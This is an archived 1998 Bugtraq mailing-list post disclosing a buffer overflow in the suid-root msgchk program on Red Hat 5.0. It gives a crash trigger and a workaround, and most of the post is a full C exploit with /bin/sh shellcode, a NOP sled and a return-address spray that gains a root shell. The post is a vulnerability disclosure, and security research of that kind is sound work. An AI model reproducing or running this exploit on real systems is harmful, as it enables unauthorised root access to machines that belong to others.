OSEC

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Bugtraq archives for 2nd quarter (Apr-Jun) 1998: buffer overflow in msgchk

buffer overflow in msgchk

Jorge Hurtado Rojo (jhurtadoQUARKSS.ES)
Tue, 12 May 1998 12:28:00 +0200 

Hi,

Sometime ago was published in bugtraq that a vulnerabily existed in the
msgchk program, which is installed suid root in redhat 5.0:

msgchk -host `perl -e 'print "A" x 2000'`

leads to a segfault, which can be exploited to get root access.

Workaround: chmod 000 /usr/bin/mh/msgchk, uninstall the packet, compile
it without RPOP / suid or use a wrapper (safeload).

The exploit follows.
(Sorry if this exploit was already posted. I have not seen it)

********************** CUT CUT CUT **********************

/* Almost everything here taken from Aleph One's Article about stack
smashing (Phrack 49) */


#include <stdlib.h>

#define DEFAULT_OFFSET                 0
#define DEFAULT_BUFFER_SIZE            1018
#define NOP                            0x90
char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
char *args[5];
char jorge[]="";
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4) {
    buff[i]=addr & 0xFF;
    buff[i+1]=(addr >> 8) & 0xFF;
    buff[i+2]=(addr >> 16) & 0xFF;
    buff[i+3]=(addr >> 24) & 0xFF;
  }

    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  args[0]="/usr/bin/mh/msgchk";
  args[1]="-host";
  args[2]=buff;
  args[3]=NULL;
  execve(args[0],args,NULL);

}

********************** CUT CUT CUT **********************

Jorge Hurtado
Quark Software & Services
http://www.quarkss.es